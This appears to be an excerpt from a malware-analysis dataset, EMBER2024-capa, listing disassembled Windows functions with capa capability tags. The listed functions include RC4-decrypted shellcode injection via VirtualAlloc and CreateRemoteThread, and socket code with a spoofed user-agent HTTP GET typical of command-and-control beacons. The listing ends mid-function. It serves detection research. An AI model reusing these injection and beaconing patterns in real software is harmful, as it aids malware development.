joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003c06
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400220e0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140021a30
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140022129
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14012a020]
jmp 0x140022138
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140003c9c
Capabilities:
Set environment variable

Disassembly:
jmp 0x1400cf8f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14000217b
lea rcx, [rsp + 0x48]
call fcn.14000217b
call fcn.1400028c9
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140001fc8
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400cf95f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.14000241e
lea rcx, [rsp + 0x78]
call fcn.14000241e
mov eax, dword [rsp + 0x24]
jmp 0x1400cf9f0
call fcn.1400028c9
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140001fc8
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400cf9a6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.14000241e
lea rcx, [rsp + 0x78]
call fcn.14000241e
mov eax, dword [rsp + 0x2c]
jmp 0x1400cf9f0
lea rcx, [rsp + 0x48]
call fcn.14000210d
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.14000210d
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.14000241e
lea rcx, [rsp + 0x78]
call fcn.14000241e
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400077c0
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction033
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400077c0
push rbp
push rsi
push rdi
sub rsp, 0x790
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x144
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1401290bb]
call fcn.140003e77
mov byte [rbp + 4], 0x10
mov byte [rbp + 5], 0xfc
mov byte [rbp + 6], 0x28
mov byte [rbp + 7], 0x10
mov byte [rbp + 8], 0xdc
mov byte [rbp + 9], 0x60
lea rcx, [0x1400e80f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction033
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x488]
lea rcx, str.www.google.com
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
mov qword [0x14011a228], rax
mov dword [0x14011a220], 0x10
lea rax, [rbp + 4]
mov qword [0x14011a218], rax
mov dword [0x14011a210], 6
lea rdx, [0x14011a220]
lea rcx, [0x14011a210]
call qword [rbp + 0x468]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x4b8], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x4d8], rax
cmp qword [rbp + 0x4d8], 0
jne 0x1400078df
mov ecx, 2
call fcn.1400041e2
lea rdx, str.VirtualAlloc_failed_n
mov rcx, rax
call fcn.140003873
mov eax, 1
jmp 0x140007a06
mov qword [rsp + 0x20], 0
mov r9d, 6
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x4d8]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140007942
mov ecx, 2
call fcn.1400041e2
lea rdx, str.WriteProcessMemory_failed_n
mov rcx, rax
call fcn.140003873
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140007a06
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x4d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x4f8], rax
cmp qword [rbp + 0x4f8], 0
jne 0x1400079d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x744], eax
mov ecx, 2
call fcn.1400041e2
mov ecx, dword [rbp + 0x744]
mov r8d, ecx
lea rdx, str.CreateRemoteThread_failed___d__n
mov rcx, rax
call fcn.140003873
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140007a06
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400e8090]
call fcn.140003639
mov rax, rdi
lea rsp, [rbp + 0x750]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140022070
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140022070
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400219f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400220af
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14012a020]
jmp 0x1400220b9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400c0200
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140001870
sub rsp, rax
mov rax, qword [0x140119028]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14011baa0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400c03f2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1400c0346
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400c0346
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1400c032b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400c02c8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400c03b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400c0411
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1400c03ed
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400c0411
jmp 0x1400c029e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14000267b
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400c04c0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140001870
sub rsp, rax
mov rax, qword [0x140119028]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14011baa0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400c06cd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400c0619
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400c0619
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400c05f9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400c0588
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400c068d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400c06ec
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1400c06c8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400c06ec
jmp 0x1400c055e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14000267b
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x180001000
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
push rbp
mov rbp, rsp
cmp qword [rbp + 0x18], 1
jne 0x180001093
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x1800010a0]
mov r9, 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
mov qword [0x18000d6bb], rax
sub rsp, 0x20
mov rcx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
jmp 0x180001089
sub rsp, 0x20
mov rcx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
cmp qword [0x18000d6b3], 0
jne 0x180001074
mov rax, 1
add rsp, 0
pop rbp
ret

Function at 0x1800010ce
Capabilities:
Terminate thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp qword [0x18000d6bb], 0
je 0x1800010fc
sub rsp, 0x20
mov rcx, qword [0x18000d6bb]
mov rdx, 0
call qword [sym.imp.kernel32.dll_TerminateThread]
add rsp, 0x20
mov qword [0x18000d6b3], 0
sub rsp, 0x20
mov rcx, 0
call fcn.180001746
add rsp, 0x20
add rsp, 0x10
pop rbp
ret
Function at 0x180001746
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x438
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x2710
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x202
lea rdx, [rbp - 0x438]
call qword [sym.imp.ws2_32.dll_WSAStartup]
add rsp, 0x20
test rax, rax
jne 0x18000177a
lea rax, [0x18000d010]
mov qword [rbp - 0x448], rax
sub rsp, 0x20
lea rcx, [0x18000d076]
mov rdx, 0xffffffffffffffff
lea r8, [rbp - 0x450]
call fcn.18000386c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x450]
call fcn.18000a2cd
add rsp, 0x20
mov qword [rbp - 0x458], rax
sub rsp, 0x20
lea rcx, [0x18000d080]
mov rdx, 0xa
lea r8, [rbp - 0x468]
call fcn.18000386c
add rsp, 0x20
cmp qword [rbp - 0x448], 0
jne 0x180001846
cmp qword [rbp - 0x470], 0
jne 0x180001846
sub rsp, 0x20
call qword [sym.imp.secur32.dll_InitSecurityInterfaceA]
add rsp, 0x20
mov qword [rbp - 0x470], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x448]
mov rdx, qword [rbp - 0x458]
call fcn.18000211f
add rsp, 0x20
test rax, rax
jne 0x1800018c5
cmp qword [rbp - 0x448], 0
jne 0x180001880
lea rax, [0x18000d010]
mov qword [rbp - 0x448], rax
jmp 0x1800018c0
lea rax, [0x18000d010]
cmp qword [rbp - 0x448], rax
je 0x1800018b2
mov qword [rbp - 0x448], 0
lea rdi, [rbp - 0x468]
xor rax, rax
mov rcx, 0xa
repe scasb al, byte [rdi]
je 0x180001866
jmp 0x1800018c0
lea rax, [0x18000d043]
mov qword [rbp - 0x448], rax
jmp 0x18000181d
sub rsp, 0x20
mov rcx, 0x2bf20
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
jmp 0x18000181d
Function at 0x18000311d
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov qword [rbp - 0x40], 0xa
cmp qword [rbp + 0x28], 0
je 0x18000316a
mov edx, 0xffffffff
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add rsp, 0x20
mov rsi, qword [rbp + 0x18]
jmp 0x180003205
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 1
jne 0x180003210
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, rsi
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_send]
add rsp, 0x20
test eax, eax
jle 0x180003210
sub qword [rbp + 0x20], rax
add rsi, rax
dec qword [rbp - 0x40]
je 0x180003210
cmp qword [rbp + 0x20], 0
jne 0x180003173
cmp qword [rbp + 0x28], 0
je 0x180003229
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_SetEvent]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x1800032f8
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x28
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x60]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
lea r12, [rbp - 0x48]
cmp qword [rbp + 0x28], 0
jne 0x180003356
xor r12, r12
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x60]
mov r8, 0
mov r9, 0
mov qword [rsp + 0x20], r12
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x1800033a9
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_recv]
add rsp, 0x20
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x180003683
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x448
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x68]
mov rdx, 0x30
call fcn.180009e0b
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov dword [rbp - 0x64], eax
mov dword [rbp - 0x60], 1
mov dword [rbp - 0x5c], 6
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
lea r9, [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_getaddrinfo]
add rsp, 0x20
cmp rax, 0
jne 0x180003752
mov rsi, qword [rbp - 0x70]
jmp 0x18000374c
cmp qword [rbp + 0x18], 2
jne 0x180003748
cmp dword [rsi + 4], 2
jne 0x180003748
mov rdx, qword [rsi + 0x20]
xor rax, rax
mov eax, dword [rdx + 4]
mov qword [rbp - 0x480], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
add rsp, 0x20
jmp 0x180003752
mov rsi, qword [rsi + 0x28]
cmp rsi, 0
jne 0x180003716
mov rax, qword [rbp - 0x480]
add rsp, 0x448
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x18000376d
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rax
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x400
movabs rax, 0xfffefdfc
mov rcx, 0x40
mov dword [rbp + rcx*4 - 0x444], eax
sub rax, 0x4040404
dec rcx
jne 0x1800037a9
xor rax, rax
mov rdi, qword [rbp + 0x10]
xor rbx, rbx
mov rsi, qword [rbp + 0x18]
jmp 0x1800037d2
inc bl
dec rsi
je 0x1800037c2
mov dl, byte [rcx + rbp - 0x440]
add al, byte [rbx + rdi]
add al, dl
mov dh, byte [rax + rbp - 0x440]
mov byte [rcx + rbp - 0x440], dh
mov byte [rax + rbp - 0x440], dl
inc cl
jne 0x1800037cb
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
test rdi, rdi
je 0x180003857
xor rax, rax
xor rdx, rdx
xor rcx, rcx
xor rbx, rbx
inc bl
mov dl, byte [rbx + rbp - 0x440]
add al, dl
mov cl, byte [rax + rbp - 0x440]
mov byte [rbx + rbp - 0x440], cl
mov byte [rax + rbp - 0x440], dl
add cl, dl
mov cl, byte [rcx + rbp - 0x440]
xor byte [rsi], cl
inc rsi
dec rdi
jne 0x180003810
xor rax, rax
lea rdi, [rbp - 0x440]
mov rcx, 0x40
cld
rep stosd dword [rdi], eax
add rsp, 0x400
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rax
pop rbp
ret
Function at 0x180006241
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x158
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov r8, 8
call fcn.180009fab
add rsp, 0x20
mov qword [rbp - 0x180], 1
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0x180]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
mov rdx, 0xffffffffffffffff
lea r8, [rbp - 0x178]
call fcn.18000386c
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x178]
call fcn.180003a46
add rsp, 0x20
cmp rax, 0
je 0x180006344
lea rax, [rbp - 0x178]
jmp 0x180006370
sub rsp, 0x20
lea rcx, [rbp - 0x178]
mov rdx, 2
call fcn.180003683
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_ntoa]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_addr]
add rsp, 0x20
test rax, rax
je 0x1800064a7
mov dword [rbp - 0x74], eax
mov rax, qword [rbp + 0x20]
cmp rax, 0x10000
jbe 0x1800063a9
sub rsp, 0x20
mov rcx, rax
call fcn.18000a2cd
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_htons]
add rsp, 0x20
mov word [rbp - 0x76], ax
mov word [rbp - 0x78], 2
mov qword [rbp - 0x180], 1
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, 0x8004667e
lea r8, [rbp - 0x180]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x78]
mov r8, 0x10
call qword [sym.imp.ws2_32.dll_connect]
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.1800039d2
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x1800064a7
mov qword [rbp - 0x180], 0
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, 0x8004667e
lea r8, [rbp - 0x180]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
mov qword [rbp - 0x188], 1
mov rax, qword [rbp - 0x188]
add rsp, 0x158
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x1800066ee
Capabilities:
Reference http user-agent string
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x468
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.180009e0b
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call fcn.180009da1
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.180006241
add rsp, 0x20
test rax, rax
je 0x1800068c8
sub rsp, 0x20
mov r9, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rdx, str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:66.0__Gecko_20100101_Firefox_66.0_r_nConnection:_close_r_n_r_n
lea rcx, [rbp - 0x480]
call qword [sym.imp.user32.dll_wsprintfA]
add rsp, 0x20
mov r8, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x480]
mov r9, 0
call fcn.18000311d
add rsp, 0x20
xor rdi, rdi
jmp 0x1800068bb
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rdi + rbp - 0x480]
mov r8, 1
mov r9, 0xa
call fcn.1800032f8
add rsp, 0x20
cmp rax, 1
jne 0x1800068c8
inc rdi
cmp rdi, 4
jb 0x1800068bb
cmp dword [rdi + rbp - 0x484], 0xa0d0a0d
jne 0x1800068bb
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0x4004667f
lea r8, [rbp - 0x488]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
cmp qword [rbp - 0x488], 0
jne 0x18000683d
mov qword [rbp - 0x488], 0x1000
mov r8, qword [rbp - 0x488]
